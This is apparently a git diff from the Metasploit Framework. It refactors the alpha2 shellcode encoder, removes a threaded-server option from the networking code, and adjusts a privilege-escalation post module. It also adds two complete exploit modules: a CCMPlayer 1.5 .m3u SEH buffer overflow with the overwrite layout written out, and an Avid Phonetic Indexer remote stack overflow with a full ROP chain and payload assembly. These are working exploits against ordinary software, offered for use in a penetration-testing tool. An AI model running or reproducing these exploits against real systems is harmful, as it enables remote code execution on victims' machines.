diff --git a/lib/msf/core/rpc/v10/service.rb b/lib/msf/core/rpc/v10/service.rb index f3f1914b8b..83e29f2641 100644 --- a/lib/msf/core/rpc/v10/service.rb +++ b/lib/msf/core/rpc/v10/service.rb @@ -63,8 +63,7 @@ class Service self.options[:ssl], self.options[:context], self.options[:comm], - self.options[:cert], - true + self.options[:cert] ) self.service.add_resource(self.uri, { diff --git a/lib/rex/encoder/alpha2/generic.rb b/lib/rex/encoder/alpha2/generic.rb index de2f9340c1..e775a786e6 100644 --- a/lib/rex/encoder/alpha2/generic.rb +++ b/lib/rex/encoder/alpha2/generic.rb @@ -8,6 +8,7 @@ module Alpha2 class Generic + # Note: 'A' is presumed to be accepted, but excluded from the accepted characters, because it serves as the terminator def Generic.default_accepted_chars ; ('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end def Generic.gen_decoder_prefix(reg, offset) @@ -22,14 +23,6 @@ class Generic return '' end - def Generic.gen_base_set(ignored_max=0x0f) - # 0xf is max for XOR encodings - non-unicode - max = 0x0f - Rex::Text.shuffle_a( - [* ( (0..(max)).map { |i| i *= 0x10 } ) ] - ) - end - def Generic.gen_second(block, base) # XOR encoder for ascii - unicode uses additive (block^base) @@ -37,58 +30,41 @@ class Generic def Generic.encode_byte(block, badchars) accepted_chars = default_accepted_chars.dup - - - # Remove bad chars from the accepted_chars list. Sadly 'A' must be - # an accepted char or we'll certainly fail at this point. This could - # be fixed later maybe with some recalculation of the encoder stubs... - # - Puss - (badchars || '').unpack('C*').map { |c| accepted_chars.delete([c].pack('C')) } - - first = 0 - second = 1 - randbase = 0 - found = nil - - - gen_base_set(block).each do |randbase_| - second = gen_second(block, randbase_) - next if second < 0 - if accepted_chars.include?([second].pack('C')) - found = second - randbase = randbase_ - break - end + + badchars.each_char {|c| accepted_chars.delete(c) } if badchars + + # No, not nipple. + nibble_chars = Array.new(0x10) {[]} + accepted_chars.each {|c| nibble_chars[c.unpack('C')[0] & 0x0F].push(c) } + + poss_encodings = [] + + block_low_nibble = block & 0x0F + block_high_nibble = block >> 4 + + # Get list of chars suitable for expressing lower part of byte + first_chars = nibble_chars[block_low_nibble] + + # Build a list of possible encodings + first_chars.each do |first_char| + first_high_nibble = first_char.unpack('C')[0] >> 4 + + # In the decoding process, the low nibble of the second char gets combined + # (either ADDed or XORed depending on the encoder) with the high nibble of the first char, + # and we want the high nibble of our input byte to result + second_low_nibble = gen_second(block_high_nibble, first_high_nibble) & 0x0F + + # Find valid second chars for this first char and add each combination to our possible encodings + second_chars = nibble_chars[second_low_nibble] + second_chars.each {|second_char| poss_encodings.push(second_char + first_char) } end - - if not found - msg = "No valid base found for #{"0x%.2x" % block}" - if not accepted_chars.include?([second].pack('C')) - msg << ": BadChar to #{second}" - elsif second < 1 - msg << ": Negative" - end - raise RuntimeError, msg + + if poss_encodings.empty? + raise RuntimeError, "No encoding of #{"0x%.2X" % block} possible with limited character set" end - - if (randbase > 0xa0) - # first num must be 4 - first = (randbase/0x10) + 0x40 - elsif (randbase == 0x00) || (randbase == 0x10) - # first num must be 5 - first = (randbase/0x10) + 0x50 - else - # pick one at "random" - first = (randbase/0x10) - if (first % 2) > 0 - first += 0x40 - else - first += 0x50 - end - end - - # now add our new bytes :) - [first.to_i, second].pack('CC') + + # Return a random encoding + poss_encodings[rand(poss_encodings.length)] end def Generic.encode(buf, reg, offset, badchars = '') @@ -97,10 +73,10 @@ class Generic buf.each_byte { |block| - encoded += encode_byte(block, badchars) + encoded << encode_byte(block, badchars) } - encoded += add_terminator() + encoded << add_terminator() return encoded end diff --git a/lib/rex/encoder/alpha2/unicode_mixed.rb b/lib/rex/encoder/alpha2/unicode_mixed.rb index c19774d372..d22f617d36 100644 --- a/lib/rex/encoder/alpha2/unicode_mixed.rb +++ b/lib/rex/encoder/alpha2/unicode_mixed.rb @@ -7,12 +7,6 @@ module Encoder module Alpha2 class UnicodeMixed < Generic - - def self.gen_base_set(max) - Rex::Text.shuffle_a( - [* ( (0..(max-1)).map { |i| i *= 0x10 } ) ] - ) - end def self.gen_second(block, base) # unicode uses additive encoding @@ -20,8 +14,8 @@ class UnicodeMixed < Generic end def self.gen_decoder_prefix(reg, offset) - if (offset > 28) - raise "Critical: Offset is greater than 28" + if (offset > 21) + raise "Critical: Offset is greater than 21" end # offset untested for unicode :( diff --git a/lib/rex/encoder/alpha2/unicode_upper.rb b/lib/rex/encoder/alpha2/unicode_upper.rb index 3d73b3d284..d0735c656c 100644 --- a/lib/rex/encoder/alpha2/unicode_upper.rb +++ b/lib/rex/encoder/alpha2/unicode_upper.rb @@ -8,12 +8,6 @@ module Alpha2 class UnicodeUpper < Generic def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end - - def self.gen_base_set(max) - Rex::Text.shuffle_a( - [* ( (0..(max-1)).map { |i| i *= 0x10 } ) ] - ) - end def self.gen_second(block, base) # unicode uses additive encoding @@ -21,8 +15,8 @@ class UnicodeUpper < Generic end def self.gen_decoder_prefix(reg, offset) - if (offset > 8) - raise "Critical: Offset is greater than 8" + if (offset > 6) + raise "Critical: Offset is greater than 6" end # offset untested for unicode :( diff --git a/lib/rex/io/stream_server.rb b/lib/rex/io/stream_server.rb index 3c27521991..e32082dea1 100644 --- a/lib/rex/io/stream_server.rb +++ b/lib/rex/io/stream_server.rb @@ -68,13 +68,9 @@ module StreamServer self.listener_thread = Rex::ThreadFactory.spawn("StreamServerListener", false) { monitor_listener } - if self.threaded - self.clients_thread = [] - else - self.clients_thread = Rex::ThreadFactory.spawn("StreamServerClientMonitor", false) { - monitor_clients - } - end + self.clients_thread = Rex::ThreadFactory.spawn("StreamServerClientMonitor", false) { + monitor_clients + } end # @@ -82,7 +78,7 @@ module StreamServer # def stop self.listener_thread.kill - self.clients_thread.kill unless self.threaded + self.clients_thread.kill self.clients.each { |cli| close_client(cli) @@ -95,7 +91,6 @@ module StreamServer # def close_client(client) if (client) - clients_thread.delete_at(clients.index(client)) if self.threaded clients.delete(client) begin @@ -135,7 +130,7 @@ module StreamServer attr_accessor :on_client_close_proc attr_accessor :clients # :nodoc: - attr_accessor :listener_thread, :clients_thread, :threaded # :nodoc: + attr_accessor :listener_thread, :clients_thread # :nodoc: attr_accessor :client_waiter protected @@ -161,12 +156,6 @@ protected # Initialize the connection processing on_client_connect(cli) - if self.threaded # Start thread - self.clients_thread << Rex::ThreadFactory.spawn("StreamServerClientMonitor#{cli.to_s}", false, cli) { - monitor_clients(cli) - } - end - # Notify the client monitor self.client_waiter.push(cli) @@ -186,20 +175,16 @@ protected # This method monitors client connections for data and calls the # +on_client_data+ routine when new data arrives. # - def monitor_clients(cli = nil) + def monitor_clients begin # Wait for a notify if our client list is empty - if (not self.threaded and clients.length == 0) + if (clients.length == 0) self.client_waiter.pop next end - if self.threaded - sd = Rex::ThreadSafe.select([cli]) - else - sd = Rex::ThreadSafe.select(clients, nil, nil, nil) - end + sd = Rex::ThreadSafe.select(clients, nil, nil, nil) sd[0].each { |cfd| begin @@ -218,8 +203,6 @@ protected } rescue ::Rex::StreamClosedError => e - # Remove thread from the list if threaded - clients_thread.delete_at(clients.index(client)) if self.threaded # Remove the closed stream from the list clients.delete(e.stream) rescue ::Interrupt diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index 8f4e8f6ccb..077c15c707 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -99,14 +99,13 @@ class Server # Initializes an HTTP server as listening on the provided port and # hostname. # - def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil, threaded = false) + def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil) self.listen_host = listen_host self.listen_port = port self.ssl = ssl self.context = context self.comm = comm self.ssl_cert = ssl_cert - self.threaded = threaded self.listener = nil self.resources = {} @@ -138,8 +137,7 @@ class Server 'Context' => self.context, 'SSL' => self.ssl, 'SSLCert' => self.ssl_cert, - 'Comm' => self.comm, - 'Threaded' => self.threaded + 'Comm' => self.comm ) # Register callbacks @@ -262,7 +260,7 @@ class Server end attr_accessor :listen_port, :listen_host, :server_name, :context, :ssl, :comm, :ssl_cert - attr_accessor :listener, :resources, :threaded + attr_accessor :listener, :resources protected diff --git a/lib/rex/socket.rb b/lib/rex/socket.rb index bb0d4ed29a..1ed7ee2ff0 100644 --- a/lib/rex/socket.rb +++ b/lib/rex/socket.rb @@ -673,9 +673,6 @@ module Socket self.localport = params.localport self.context = params.context || {} self.ipv = params.v6 ? 6 : 4 - if (self.respond_to?('threaded')) - self.threaded = params.threaded? - end end end diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index add5d682bd..96b60073a1 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -97,11 +97,6 @@ class Rex::Socket::Parameters # # The number of seconds before a connection should time out # - # Threaded - # - # Whether the server is to spin off a new thread for each client. - # - def initialize(hash) if (hash['PeerHost']) @@ -143,13 +138,7 @@ class Rex::Socket::Parameters else self.ssl = false end - - if (hash['Threaded'] and hash['Threaded'].to_s =~ /^(t|y|1)/i) - self.threaded = true - else - self.threaded = false - end - + if (hash['SSLVersion'] and hash['SSLVersion'].to_s =~ /^(SSL2|SSL3|TLS1)$/i) self.ssl_version = hash['SSLVersion'] end @@ -284,12 +273,6 @@ class Rex::Socket::Parameters return v6 end - # - # Returns true if Multithreading has been enabled - # - def threaded? - return threaded - end ## # @@ -361,10 +344,6 @@ class Rex::Socket::Parameters # Whether we should use IPv6 # attr_accessor :v6 - # - # Whether we should be multithreaded - # - attr_accessor :threaded attr_accessor :proxies diff --git a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb new file mode 100644 index 0000000000..7b88542571 --- /dev/null +++ b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb @@ -0,0 +1,97 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)', + 'Description' => %q{ + This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening + a m3u playlist with a long track name, a SEH exception record can be overwritten + with parts of the controllable buffer. SEH execution is triggered after an + invalid read of an injectible address, thus allowing arbitrary code execution. + This module works on multiple Windows platforms including: Windows XP SP3, + Windows Vista, and Windows 7. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Rh0'], # discovery and metasploit module + 'References' => + [ + ['URL', 'http://www.exploit-db.com/exploits/18178/'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'DisablePayloadHandler' => 'true', + }, + 'Payload' => + { + 'Space' => 0x1000, + 'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\ + 'DisableNops' => 'True', + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + 'CCMPlayer 1.5', + { + # pop esi / pop ebx / ret (in ccmplay.exe) + # tweak it if necessary + 'Ret' => 0x00403ca7, # last NULL in buffer is accepted + 'Offset' => 0x1000 + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '30 Nov 2011', # to my knowledge + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']), + ], self.class) + end + + def exploit + + m3u = "C:\\" + # shellcode + m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25 + m3u << payload.encoded + # junk + m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length)) + # need an access violation when reading next 4 bytes as address (0xFFFFFFFF) + # to trigger SEH + m3u << [0xffffffff].pack("V") + # pad + m3u << rand_text_alpha_upper(3) + # long jmp: jmp far back to shellcode + m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string + # NSEH: jmp short back to long jmp instruction + m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string + # pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes) + m3u << rand_text_alpha_upper(2) + # SEH Exception Handler Address -> p/p/r + m3u << [target.ret].pack("V") + m3u << ".mp3\r\n" # no crash without it + + print_status("Creating '#{datastore['FILENAME']}' file ...") + + # Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit + file_create(m3u) + + end + +end diff --git a/modules/exploits/windows/misc/avidphoneticindexer.rb b/modules/exploits/windows/misc/avidphoneticindexer.rb new file mode 100644 index 0000000000..4cabbe418f --- /dev/null +++ b/modules/exploits/windows/misc/avidphoneticindexer.rb @@ -0,0 +1,111 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info={}) + super(update_info(info, + 'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow", + 'Description' => %q{ + This module exploits a stack buffer overflow in process + AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer + 5.5 Editing Suite. This daemon sometimes starts on a different port; if you start + it standalone it will run on port 4660. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'vt [nick.freeman@security-assessment.com]', + ], + 'References' => + [ + [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ], + ], + 'Payload' => + { + 'Space' => 1012, + 'BadChars' => "\x00\x09\x0a\x0d\x20", + 'DisableNops' => true, + 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, + 'EncoderOptions' => + { + 'BufferRegister' => 'EAX', + } + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + 'Windows XP Professional SP3', + { + 'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll) + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Nov 29 2011", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(4659), + ], self.class) + end + + def exploit + rop_gadgets = [ + # ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!) + # a non-sayonara ROP would be super easy too, I'm just lazy :) + 0x7C344CC1, # pop eax;ret; + 0x7C3410C2, # pop ecx;pop ecx;ret; + 0x7C342462, # xor chain; call eax {0x7C3410C2} + 0x7C38C510, # writeable location for lpflOldProtect + 0x7C365645, # pop esi;ret; + 0x7C345243, # ret; + 0x7C348F46, # pop ebp;ret; + 0x7C3487EC, # call eax + 0x7C344CC1, # pop eax;ret; + 0xfffffbfc, # {size} + 0x7C34D749, # neg eax;ret; {adjust size} + 0x7C3458AA, # add ebx, eax;ret; {size into ebx} + 0x7C3439FA, # pop edx;ret; + 0xFFFFFFC0, # {flag} + 0x7C351EB1, # neg edx;ret; {adjust flag} + 0x7C354648, # pop edi;ret; + 0x7C3530EA, # mov eax,[eax];ret; + 0x7C344CC1, # pop eax;ret; + 0x7C37A181, # (VP RVA + 30) - {0xEF adjustment} + 0x7C355AEB, # sub eax,30;ret; + 0x7C378C81, # pushad; add al,0xef; ret; + 0x7C36683F, # push esp;ret; + ].pack("V*") + + # need to control a buffer reg for the msf gen'd payload to fly. in this case: + bufregfix = "\x8b\xc4" # MOV EAX,ESP + bufregfix += "\x83\xc0\x10" # ADD EAX,10 + + connect + sploit = '' + sploit << rand_text_alpha_upper(216) + sploit << [target.ret].pack('V*') + sploit << "A"*732 #This avoids a busted LoadLibrary + sploit << rop_gadgets + sploit << bufregfix + sploit << "\xeb\x09" + sploit << rand_text_alpha_upper(9) + sploit << payload.encoded + sock.put(sploit) + handler + disconnect + end + +end \ No newline at end of file diff --git a/modules/post/windows/escalate/ms10_092_schelevator.rb b/modules/post/windows/escalate/ms10_092_schelevator.rb index bf70c37799..80b04c8274 100644 --- a/modules/post/windows/escalate/ms10_092_schelevator.rb +++ b/modules/post/windows/escalate/ms10_092_schelevator.rb @@ -352,7 +352,7 @@ class Metasploit3 < Msf::Post success = false lns.each_line { |ln| ln.chomp! - if ln =~ /^SUCCESS\:\s/ + if ln =~ /^SCHELEVATOR$/ success = true print_status(ln) else